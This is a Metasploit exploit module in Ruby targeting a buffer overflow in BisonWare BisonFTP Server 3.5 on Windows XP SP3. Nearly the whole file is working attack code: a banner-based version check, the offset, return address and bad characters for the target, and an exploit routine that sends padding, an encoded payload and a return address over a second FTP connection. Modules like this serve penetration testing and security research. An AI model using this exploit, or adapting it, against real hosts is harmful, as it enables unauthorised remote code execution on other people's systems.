##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BisonWare BisonFTP Server Buffer Overflow',
        'Description' => %q{
          BisonWare BisonFTP Server 3.5 is prone to an overflow condition.
          This module exploits a buffer overflow vulnerability in the said
          application.
        },
        'Platform' => 'win',
        'Author' => [
          'localh0t', # initial discovery
          'veerendragg @ SecPod', # initial msf
          'Jay Turla' # msf
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '1999-1510'],
          [ 'BID', '49109'],
          [ 'EDB', '17649'],
          [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']
        ],
        'Privileged' => false,
        'DefaultOptions' => {
          'VERBOSE' => true
        },
        'Payload' => {
          'Space' => 310,
          'BadChars' => "\x00\x0a\x0d",
          'StackAdjustment' => -3500,
        },
        'Targets' => [
          [
            'Bisonware FTP Server / Windows XP SP3 EN',
            {
              'Ret' => 0x0040333f,
              'Offset' => 1028,
              'Nops' => 404
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-08-07',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    connect_login
    disconnect
    if /BisonWare BisonFTP server product V3\.5/i === banner
      return Exploit::CheckCode::Appears('FTP banner indicates BisonWare BisonFTP server V3.5')
    else
      return Exploit::CheckCode::Safe('FTP banner does not match BisonWare BisonFTP')
    end
  end

  def exploit
    connect
    print_status('Triggering the prompt for an unregistered product')
    sock.put('')
    print_status('Disconnecting...')
    disconnect

    print_status('Connecting for the second time to deliver our payload...')
    connect # connect for the second time

    buf = rand_text_alpha(target['Offset'])
    buf << payload.encoded
    buf << make_nops((target['Nops']) - payload.encoded.length)
    buf << [target.ret].pack('V')
    print_status('Sending payload...')

    sock.put(buf)
    handler
    disconnect
  end
end